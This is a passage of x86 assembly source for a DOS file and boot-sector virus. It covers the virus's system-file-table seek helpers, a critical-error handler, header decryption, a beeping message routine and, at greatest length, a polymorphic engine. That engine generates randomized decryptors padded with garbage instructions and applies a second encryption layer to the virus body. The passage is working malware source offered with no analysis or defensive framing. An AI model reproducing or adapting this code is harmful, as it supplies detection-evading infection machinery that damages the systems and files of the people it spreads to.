je error_sft
;Get address of sft entry number bx to es:di
mov ax,1216h
int 2Fh
jc error_sft
pop bx
clc
ret
error_sft:
;Exit with error
pop bx
stc
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to end of file ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
seek_end:
call get_sft
mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h]
mov word ptr es:[di+17h],dx
mov word ptr es:[di+15h],ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Seek to begin ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
seek_begin:
call get_sft
xor ax,ax
mov word ptr es:[di+17h],ax
mov word ptr es:[di+15h],ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus critical error interrupt handler ( int 24h ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
my_int24h:
sti
;Return error in function
mov al,03h
iret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Save all registers in the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
push_all:
cli
pop word ptr cs:[ret_off]
pushf
push ax
push bx
push cx
push dx
push bp
push si
push di
push es
push ds
push word ptr cs:[ret_off]
sti
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Restore all registers from the stack ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
pop_all:
cli
pop word ptr cs:[ret_off]
pop ds
pop es
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
push word ptr cs:[ret_off]
sti
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Unhook int 24h and clear dos infection switch ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
unhook_ints:
push ds
push dx
push ax
;Clear dos running switch
mov byte ptr cs:[running_sw],00h
;Restore int 24h
lds dx,dword ptr cs:[old24h]
mov al,24h
call set_int
pop ax
pop dx
pop ds
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Perform a call to dos function ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
dos_call:
pushf
call dword ptr cs:[org21h]
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get position of code inserted into boot sector ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_position:
push cx
;Point di to offset in buffer
mov di,bx
;Get displacement
mov cx,word ptr es:[bx+01h]
mov al,byte ptr es:[bx]
;Check for short jump
cmp al,0EBh
jne check_jump
;Store 8bit displacement
xor ch,ch
jmp short add_offset
check_jump:
;Check for near jump
cmp al,0E9h
jne no_displacement
add_offset:
inc cx
inc cx
add di,cx
no_displacement:
pop cx
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Make a copy of file header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
copy_header:
;Copy header to buffer
push si
push di
push cx
push cs
pop es
mov si,offset file_buffer
mov di,offset old_header
mov cx,file_header_size
cld
rep movsb
pop cx
pop di
pop si
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt header ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
decrypt_header:
mov cx,file_header_size
push dx
pop si
mov al,byte ptr cs:[si+file_header_size]
restore_header:
sub byte ptr cs:[si+00h],al
inc si
loop restore_header
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Print string while producing some beeps ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
loop_beep_string:
;Get character
lodsb
or al,al
jnz print_that_char
ret
print_that_char:
;Print character
mov ah,09h
mov bx,0002h
mov cx,0001h
push si
int 10h
;Produce a click
call generate_beep
;Move cursor to next position
mov ah,03h
xor bh,bh
int 10h
inc dl
mov ah,02h
int 10h
pop si
jmp loop_beep_string
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a speaker beep ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
generate_beep:
mov cx,0008h
loop_click:
push cx
;Get attention of the 8253
mov al,0B6h
out 043h,al
;Sent frequency
xor ax,ax
dec ax
out 042h,al
mov al,ah
out 042h,al
;Send signal to speaker
in al,61h
or al,03h
out 061h,al
;Sound duration
mov cx,0FFFFh
wait_cycle:
loop wait_cycle
;Clear signal
in al,061h
and al,0FCh
out 061h,al
pop cx
loop loop_click
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic engine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_encrypt:
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
;Reset pointer to random data
mov word ptr cs:[rnd_pointer][bp],bp
try_new_generation:
;Initialize engine
xor ax,ax
lea di,word ptr [poly_data][bp]
;Clear last_subrotine
mov word ptr cs:[di+04h],ax
;Clear decrypt_sub
mov word ptr cs:[di+06h],ax
;Clear last_fill_type
mov word ptr cs:[di],ax
dec ax
;Clear last_step_type
mov word ptr cs:[di+02h],ax
;Clear last_int_type
mov byte ptr cs:[di+0Ah],al
;Clear decrypt_pointer
mov byte ptr cs:[di+0Bh],al
;Get base address for memory operations
mov ax,offset virus_copy
add ax,word ptr cs:[file_delta][bp]
mov word ptr cs:[di+12h],ax
;Choose counter and pointer register
call get_rnd
and al,01h
mov byte ptr cs:[di+0Ch],al
get_si_di_off:
;Choose displacement from / to encrypted code
call get_rnd
or al,al
jz get_si_di_off
mov byte ptr cs:[di+14h],al
;Choose type of decrypt sequence
call get_rnd
and al,01h
mov byte ptr cs:[di+15h],al
get_decrypt_reg:
;Choose register for decryption instructions
call get_rnd
and al,38h
;Do not use bl or bh into .sys decryptors
cmp word ptr cs:[exit_address][bp],offset exit_com - \
offset host_ret
je ok_decrypt_reg
;Check if it is bl
cmp al,18h
je get_decrypt_reg
;Check if it is bh
cmp al,38h
je get_decrypt_reg
ok_decrypt_reg:
mov byte ptr cs:[di+0Dh],al
;Choose segment registers for memory operations
call get_seg_reg
mov byte ptr cs:[di+0Eh],al
call get_seg_reg
mov byte ptr cs:[di+0Fh],al
get_rnd_key:
;Get random crypt value
call get_rnd
or al,al
jz get_rnd_key
xchg bx,ax
mov byte ptr cs:[clave_crypt][bp],bl
;Fill our buffer with garbage
push cs
pop ds
mov es,word ptr cs:[poly_working_seg][bp]
mov di,word ptr cs:[poly_working_off][bp]
push di
mov cx,decryptor
cld
fill_rnd_2:
call get_rnd
stosb
loop fill_rnd_2
pop di
;Now es:di points to the buffer were engine put polymorphic code
choose_type:
;Select the type of filler
mov ax,(end_step_table-step_table)/02h
call rand_in_range
;Avoid same types in a row
cmp ax,word ptr cs:[last_step_type][bp]
je choose_type
mov word ptr cs:[last_step_type][bp],ax
;Get displacement into subroutine table
add ax,ax
add ax,bp
mov bx,ax
;Get subroutine address
mov ax,word ptr cs:[step_table+bx]
;Add delta offset
add ax,bp
;Save return address
lea bx,word ptr [step_return][bp]
push bx
;Save subroutine address
push ax
;This is for later operations
cld
ret
step_return:
;Check decryptor size
mov ax,di
sub ax,word ptr cs:[poly_working_off][bp]
cmp ax,decryptor
jb check_decryptor_ready
jmp try_new_generation
check_decryptor_ready:
;Check if decrytor already build
cmp byte ptr cs:[decrypt_pointer][bp],04h
jne choose_type
;Generate some garbage
call g_generator
;Generate a jump to virus body
mov al,0E9h
stosb
mov ax,decryptor
mov cx,word ptr cs:[poly_working_off][bp]
dec cx
dec cx
mov bx,di
sub bx,cx
sub ax,bx
stosw
;Copy virus body to the working area
lea si,word ptr [virus_body][bp]
mov di,word ptr cs:[poly_working_off][bp]
add di,decryptor
push di
mov cx,inf_byte_size-decryptor
cld
rep movsb
;Generate second encryption layer
mov ax,word ptr cs:[poly_working_off][bp]
mov bl,byte ptr cs:[clave_crypt][bp]
push bx
add ax,second_size
push es
pop ds
mov si,ax
mov di,ax
mov cx,inf_byte_size-(second_size+01h)
generate_second:
lodsb
add al,bl
stosb
inc bl
loop generate_second
;Generate polymorphic encryption
pop bx
pop di
mov si,di
mov cx,inf_byte_size-(decryptor+file_header_size+01h)
;Clear prefetch
db 0EBh,00h
load_crypt:
lodsb
encrypt_here:
;Encrypt instruction ( add/sub/xor al,bl )
db 00h,0C3h
stosb
loop load_crypt
;Restore all regs and return to infection routine
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a valid opcode for memory operations ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
get_seg_reg:
cmp word ptr cs:[exit_address][bp],offset exit_com - \
offset host_ret
je use_ds_es
;Use just cs on .sys .exe files and floppy boot and hd mbr
mov al,2Eh
ret
use_ds_es:
;Use also ds es in .com files
call get_rnd
and al,18h
cmp al,10h
je get_seg_reg
or al,26h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate next decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
next_decryptor:
;Next instruction counter
inc byte ptr cs:[decrypt_pointer][bp]
;Check for subroutines witch contains next decryptor instruction
cmp word ptr cs:[decrypt_sub][bp],0000h
je build_now
;If so build a call instruction to that subroutine
call do_call_decryptor
ret
build_now:
;Else get next instruction to build
mov bl,byte ptr cs:[decrypt_pointer][bp]
;Generate decryption instructions just into subroutines
cmp bl,02h
jne entry_from_sub
;No instruction was created so restore old pointer
dec byte ptr cs:[decrypt_pointer][bp]
ret
entry_from_sub:
;Entry point if calling from decryptor subroutine building
xor bh,bh
add bx,bx
add bx,bp
;Build instruction
mov ax,word ptr cs:[instruction_table+bx]
add ax,bp
;Save subroutine address
push ax
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load counter register ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inst_load_counter:
mov al,0BEh
add al,byte ptr cs:[address_register][bp]
stosb
;Store size of encrypted data
mov ax,inf_byte_size-(decryptor+file_header_size+01h)
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Load pointer to encrypted data ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inst_load_pointer:
;Generate garbage
call g_generator
;Pointer reg determination
mov al,0BFh
sub al,byte ptr cs:[address_register][bp]
stosb
;Store offset position of encrypted data
mov bx,offset virus_body
;Add delta offset
add bx,word ptr cs:[file_delta][bp]
;Include displacement
mov al,byte ptr cs:[displ_si_di][bp]
cbw
add ax,bx
stosw
;Generate garbage
call g_generator
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrypt one byte from encrypted data area ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inst_decrypt_one:
;Check type of decrypt sequence
cmp byte ptr cs:[decrypt_seq],00h
jne decrypt_with_reg
;Decode add/sub/xor byte ptr seg:[si/di+displ],key
mov ah,80h
mov al,byte ptr cs:[address_seg_1][bp]
stosw
;Store operation
mov ax,(end_fast_table-fast_table)/02h
call rand_in_range
;Get displacement into subroutine table
add ax,ax
add ax,bp
mov bx,ax
;Get opcode
mov ax,word ptr cs:[fast_table+bx]
mov byte ptr cs:[encrypt_here][bp],ah
xor al,byte ptr cs:[address_register][bp]
stosb
mov al,byte ptr cs:[displ_si_di][bp]
neg al
mov ah,byte ptr cs:[clave_crypt][bp]
stosw
ret
decrypt_with_reg:
;Decode a mov reg,byte ptr seg:[key]
mov al,byte ptr cs:[address_seg_1][bp]
mov ah,8Ah
stosw
mov al,byte ptr cs:[decrypt_register][bp]
or al,06h
stosb
;Store position of encryption key
mov ax,offset clave_crypt
;Add delta offset
add ax,word ptr cs:[file_delta][bp]
stosw
;Decode a xor/add/sub byte ptr seg:[si/di+displ],reg
mov ax,(end_decrypt_table-decrypt_table)/02h
call rand_in_range
;Get displacement into subroutine table
add ax,ax
add ax,bp
mov bx,ax
;Get opcode
mov ax,word ptr cs:[decrypt_table+bx]
;Write encrypt instruction
mov byte ptr cs:[encrypt_here][bp],al
mov al,byte ptr cs:[address_seg_2][bp]
stosw
mov al,byte ptr cs:[decrypt_register][bp]
or al,45h
xor al,byte ptr cs:[address_register][bp]
mov ah,byte ptr cs:[displ_si_di][bp]
neg ah
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Increment pointer to encrypted zone ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inst_inc_pointer:
mov al,47h
sub al,byte ptr cs:[address_register][bp]
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Decrement counter and loop ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
inst_dec_loop:
;Decode a dec reg instruction
mov al,4Eh
add al,byte ptr cs:[address_register][bp]
stosb
;Decode a jz
mov al,74h
stosb
push di
inc di
;Generate some garbage instructions
call g_generator
;Decode a jmp to loop instruction
mov al,0E9h
stosb
mov ax,word ptr cs:[address_loop][bp]
sub ax,di
dec ax
dec ax
stosw
;Generate some garbage instructions
call g_generator
;Store jz displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a push reg + garbage + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_push_g_pop:
;Build a random push pop
call do_push_pop
;Get pop instruction
dec di
mov al,byte ptr es:[di]
push ax
call g_generator
pop ax
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_subroutine:
cmp word ptr cs:[last_subroutine][bp],0000h
je create_routine
ret
create_routine:
;Generate a jump instruction
mov al,0E9h
stosb
;Save address for jump construction
push di
;Save address of subroutine
mov word ptr cs:[last_subroutine][bp],di
;Get subroutine address
inc di
inc di
;Generate some garbage code
call g_generator
;Insert ret instruction
mov al,0C3h
stosb
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a subroutine witch contains one decryptor instruction ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
sub_decryptor:
cmp word ptr cs:[decrypt_sub][bp],0000h
je ok_subroutine
ret
ok_subroutine:
;Do not generate the loop branch into a subroutine
mov bl,byte ptr cs:[decrypt_pointer][bp]
inc bl
cmp bl,04h
jne no_loop_sub
ret
no_loop_sub:
;Generate a jump instruction
mov al,0E9h
stosb
;Save address for jump construction
push di
;Save address of subroutine
mov word ptr cs:[decrypt_sub][bp],di
inc di
inc di
push bx
call g_generator
pop bx
call entry_from_sub
call g_generator
build_return:
;Insert ret instruction
mov al,0C3h
stosb
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
dec ax
stosw
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to next decryptor subroutine ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_call_decryptor:
cmp byte ptr cs:[decrypt_pointer][bp],02h
jne no_store_call
;Save position
mov word ptr cs:[address_loop][bp],di
no_store_call:
;Build a call to our subroutine
mov al,0E8h
stosb
mov ax,word ptr cs:[decrypt_sub][bp]
sub ax,di
stosw
;Do not use this subrotine again
mov word ptr cs:[decrypt_sub][bp],0000h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a call instruction to a subroutine witch some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_call_garbage:
;Check if there is a subroutine to call
mov cx,word ptr cs:[last_subroutine][bp]
or cx,cx
jnz ok_call
;No, so exit
ret
ok_call:
;Build a call to our garbage subroutine
mov al,0E8h
stosb
mov ax,cx
sub ax,di
stosw
;Do not use this subrotine again
mov word ptr cs:[last_subroutine][bp],0000h
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a conditional jump followed by some garbage code ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_branch:
;Generate a random conditional jump instruction
call get_rnd
and al,07h
or al,70h
stosb
;Save address for jump construction
push di
;Get subroutine address
inc di
;Generate some garbage code
call g_generator
;Store jump displacement
mov ax,di
pop di
push ax
sub ax,di
dec ax
stosb
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate garbage code ³
